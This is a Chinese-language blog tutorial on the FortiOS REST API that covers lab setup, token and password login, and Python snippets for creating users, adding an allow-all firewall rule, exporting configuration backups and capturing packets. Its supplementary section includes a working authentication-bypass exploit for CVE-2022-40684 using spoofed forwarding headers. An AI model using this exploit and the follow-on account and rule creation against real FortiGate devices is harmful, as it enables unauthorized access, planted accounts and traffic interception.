FortiOS REST API 开发指南

发布于 2024-09-29 14:22:23 字数 12263 浏览 15 评论 0

0x00 前言

本文将要介绍 FortiOS REST API 的相关用法,分享脚本开发的实现细节。

0x01 简介

本文将要介绍以下内容:

  • Fortigate 环境搭建
  • FortiOS REST API 两种登录方式
  • 常用操作
  • 常用功能

0x02 Fortigate 环境搭建

这里以 Fortigate 作为 FortiOS REST API 的测试环境,安装 FortiGate for VMware

参考资料: https://getlabsdone.com/how-to-install-fortigate-on-vmware-workstation/

1.下载 FortiGate for VMware 安装包

下载地址: https://support.fortinet.com/

选择 Support -> VMImages ,Select Product: FortiGate ,Select Platform: VMWare ESXi

注:

7.2 之前的版本可使用 15 天,7.2 之后的版本需要账号注册

2.导入 ova 文件

打开 FortiGate-VM64.ova 导入 VMWare

3.配置网卡

默认添加了 10 个网卡,我们只需要保留 3 个,删除后面的 7 个,3 个网卡的具体配置如下:

(1) 管理网卡

依次选择 VMware workstation -> Edit -> Virtual Network Editor ,点击 Change settings ,点击 Add Network... ,选择 VMnet2Type 选择 Host-onlyDHCP 选择 Enabled

如下图

Alt text

将该网卡设置成 VMnet2

(2)WAN 网卡

设置成 bridged

(3)LAN 网卡

选择 network adapter 3 ,点击 LAN Segments... ,点击 Add ,命名为 Fortigate LAN

将该网卡设置成 LAN segment ,选择 Fortigate LAN

最终配置如下图

Alt text

4.开启虚拟机

默认用户名: admin ,口令为空

查看激活状态的命令: get system status

查看 ip 的命令: diagnose ip address list

得到管理网卡的 ip 为 192.168.23.128

5.访问 Web 管理页面

地址为: http://192.168.23.128

0x03 FortiOS REST API 两种登录方式

参考资料: https://www.used.net.ua/index.php/fajlovyj-arkhiv/category/35-fortinet.html?download=83:fortios-5-6-11-rest-api-reference

FortiOS REST API 支持以下两种登录方式:

1.使用 admin 用户口令

需要管理员用户 admin 的明文口令,不需要额外的配置

通过访问 https://<url>/logincheck 生成登录凭据的 Cookie,再访问对应的地址

需要注意的是,使用 admin 用户口令登录结束后需要访问 https://<url>/logout 进行注销操作

Python 示例代码如下:

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check(target, username, password):
    data = {
        "username": username,
        "secretkey": password
    }
    print("[*] Try to logincheck")
    r = requests.post(target + "/logincheck", data=data, verify=False)
    cookiejar = r.cookies

    print("[*] Try to access /api/v2/cmdb/system/admin")
    r = requests.get(target + "/api/v2/cmdb/system/admin", cookies=cookiejar, verify=False)
    print(r.status_code)
    print(r.text)

    print("[*] Try to access /api/v2/cmdb/system/api-user")
    r = requests.get(target + "/api/v2/cmdb/system/api-user", cookies=cookiejar, verify=False)
    print(r.status_code)
    print(r.text)

    print("[*] Try to access /api/v2/cmdb/system/accprofile")
    r = requests.get(target + "/api/v2/cmdb/system/accprofile", cookies=cookiejar, verify=False)
    print(r.status_code)
    print(r.text)

    print("[*] Try to logout")
    r = requests.post(target + "/logout", cookies=cookiejar, verify=False)
    print(r.status_code)
    print(r.text)
check("https://192.168.1.1", "admin", "123456")

代码实现以下三个功能:

  • 查询管理员用户信息,查询成功
  • 查询 REST API 用户信息,查询成功
  • 查询配置文件信息,查询成功

2.使用 API key

参考资料: https://docs.fortinet.com/document/forticonverter/6.0.2/online-help/866905/connect-fortigate-device-via-api-token

需要额外创建配置文件和用户,生成 API key

(1) 创建配置文件

登录 Web 管理页面,依次选择 System -> Admin Profiles -> Create New

Name 设置为 api_admin

将所有权限均设置为 Read/Write

(2) 创建用户

依次选择 System -> Administrators -> Create New -> REST API Admin

Username 设置为 api_user

Administrator profile 设置为 api_admin

自动生成 API key,测试环境得到的结果为 r3h53QbtrmNtdk0HH5qwnw8mkcmnt7

如下图

Alt text

API key 有以下两种使用方式:

  • 作为 URL 的参数使用,示例: ?access_token=r3h53QbtrmNtdk0HH5qwnw8mkcmnt7
  • 放在 Header 中,示例: "Authorization": "Bearer r3h53QbtrmNtdk0HH5qwnw8mkcmnt7"

Python 示例代码如下:

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check(target, token):
    headers = {
        "Authorization": "Bearer " + token,
    }
    print("[*] Try to access /api/v2/cmdb/system/admin")
    r = requests.get(target + "/api/v2/cmdb/system/admin", headers=headers, verify=False)
    print(r.status_code)
    print(r.text)

    print("[*] Try to access /api/v2/cmdb/system/api-user")
    r = requests.get(target + "/api/v2/cmdb/system/api-user", headers=headers, verify=False)
    print(r.status_code)
    print(r.text)

    print("[*] Try to access /api/v2/cmdb/system/accprofile")
    r = requests.get(target + "/api/v2/cmdb/system/accprofile", headers=headers, verify=False)
    print(r.status_code)
    print(r.text)
check("https://192.168.1.1", "r3h53QbtrmNtdk0HH5qwnw8mkcmnt7")

代码实现以下三个功能:

  • 查询管理员用户信息,查询失败
  • 查询 REST API 用户信息,查询成功
  • 查询配置文件信息,查询成功

补充:通过漏洞(CVE-2022-40684) 可绕过身份认证

Python 示例代码如下:

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    headers = {
        "user-agent": "Node.js",
        "accept-encoding": "gzip, deflate",
        "Host": "127.0.0.1:9980",
        "forwarded": 'by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=',
        "x-forwarded-vdom": "root",
    }
    print("[*] Try to access /api/v2/cmdb/system/admin")
    r = requests.get(target + "/api/v2/cmdb/system/admin", headers=headers, verify=False)
    print(r.status_code)
    print(r.text)

    print("[*] Try to access /api/v2/cmdb/system/api-user")
    r = requests.get(target + "/api/v2/cmdb/system/api-user", headers=headers, verify=False)
    print(r.status_code)
    print(r.text)

    print("[*] Try to access /api/v2/cmdb/system/accprofile")
    r = requests.get(target + "/api/v2/cmdb/system/accprofile", headers=headers, verify=False)
    print(r.status_code)
    print(r.text)
check("https://192.168.1.1")

代码实现以下三个功能:

  • 查询管理员用户信息,查询成功
  • 查询 REST API 用户信息,查询成功
  • 查询配置文件信息,查询成功

0x04 常用操作

1.调试输出

为了方便调试,可在 cli 执行以下命令:

diagnose debug enable
diagnose debug application httpsd -1

将会在 cli 输出调试信息 30 分钟

如下图

Alt text

2.二进制文件提取

可使用挂载 vmdk 的方式提取出二进制文件,逆向分析 REST API 的实现细节

提取二进制文件的方法可参考: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

3.增删改查操作

读取内容使用 GET 方法

新建内容使用 POST 方法

修改内容使用 PUT 方法

删除内容使用 DELETE 方法

0x05 常用功能

1.创建本地用户

需要访问 /api/v2/cmdb/user/local ,发送 json 数据

Python 示例代码如下:

add_j = {
    "name":"user1",
    "q_origin_key":"user1",
    "status":"enable",
    "type":"password",
    "passwd":"123456",

}
r = requests.post(target + "/api/v2/cmdb/user/local", headers=headers, json=add_j, verify=False)
print(r.text)

2.添加防火墙规则

需要访问 /api/v2/cmdb/firewall/policy ,发送 json 数据

Python 示例代码如下:

add_j = {
    "name":"policy1",
    "srcintf":[
        {
            "name":"port1",
            "q_origin_key":"port1"
        }
    ],
    "dstintf":[
        {
            "name":"port1",
            "q_origin_key":"port1"
        }
    ],
    "action":"accept",
    "srcaddr":[
        {
            "name":"all",
            "q_origin_key":"all"
        }
    ],
    "dstaddr":[
        {
            "name":"all",
            "q_origin_key":"all"
        }
    ],
    "schedule":"always",
    "service":[
        {
            "name":"ALL",
            "q_origin_key":"ALL"
        }
    ],
    "nat":"enable",
}
r = requests.post(target + "/api/v2/cmdb/firewall/policy", headers=headers, json=add_j, verify=False)
print(r.text)

3.导出所有配置

通过访问 /api/v2/cmdb/system/admin 导出用户信息时,password 项被加密,格式为 "password":"ENC XXXX"

这里可通过备份功能导出所有配置,获得加密的用户口令,访问位置为 /api/v2/monitor/system/config/backup?destination=file&scope=global

Python 示例代码如下:

r = requests.get(target + "/api/v2/monitor/system/config/backup?destination=file&scope=global", headers=headers, verify=False)
print(r.text)

4.抓包

需要依次完成以下操作:

  • 新建 Packet Capture Filter
  • 开启 Packet Capture Filter
  • 停止 Packet Capture Filter
  • 下载数据包
  • 删除 Packet Capture Filter

Python 示例代码如下:

print("Try to create the sniffer")
add_j = {
    "status":"enable",
    "logtraffic":"utm",
    "ipv6":"disable",
    "non-ip":"disable",
    "interface":"port1",
    "host":"",
    "port":"",
    "protocol":"",
    "vlan":"",
    "application-list-status":"disable",
    "application-list":"",
    "ips-sensor-status":"disable",
    "ips-sensor":"",
    "dsri":"disable",
    "av-profile-status":"disable",
    "av-profile":"",
    "webfilter-profile-status":"disable",
    "webfilter-profile":"",
    "emailfilter-profile-status":"disable",
    "emailfilter-profile":"",
    "dlp-sensor-status":"disable",
    "dlp-sensor":"",
    "ip-threatfeed-status":"disable",
    "ip-threatfeed":[
    ],
    "file-filter-profile-status":"disable",
    "file-filter-profile":"",
    "ips-dos-status":"disable",
    "anomaly":[
    ],
    "max-packet-count":4000

}
r = requests.post(target + "/api/v2/cmdb/firewall/sniffer", headers=headers, json=add_j, verify=False)
data = json.loads(r.text)
print("[+] mkey: " + str(data["mkey"]))

print("Try to start the sniffer")
r = requests.post(target + "/api/v2/monitor/system/sniffer/start?mkey=" + str(data["mkey"]), headers=headers, verify=False)
print(r.text)
print("Waiting...")
time.sleep(60)

print("Try to stop the sniffer")
r = requests.post(target + "/api/v2/monitor/system/sniffer/stop?mkey=" + str(data["mkey"]), headers=headers, verify=False)
print(r.text)

print("Try to download the sniffer packet")
r = requests.get(target + "/api/v2/monitor/system/sniffer/download?mkey=" + str(data["mkey"]), headers=headers, verify=False)
print("[+] Save as sniffer.pcap")
with open("sniffer.pcap", "ab+") as fw:
    fw.write(r.content)

print("Try to delete the sniffer")        
r = requests.delete(target + "/api/v2/cmdb/firewall/sniffer/" + str(data["mkey"]), headers=headers, verify=False)
print(r.text)

0x06 小结

本文以 Fortigate 环境为例,介绍了 FortiOS REST API 的相关用法,分享了创建本地用户、添加防火墙规则、导出所有配置和抓包的实现代码。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

冷清清

暂无简介

0 文章
0 评论
289 人气
更多

推荐作者

qq_7J1imQ

文章 0 评论 0

《一串符号》

文章 0 评论 0

hls.

文章 0 评论 0

雅心素梦

文章 0 评论 0

塔塔猫

文章 0 评论 0

微信用户

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文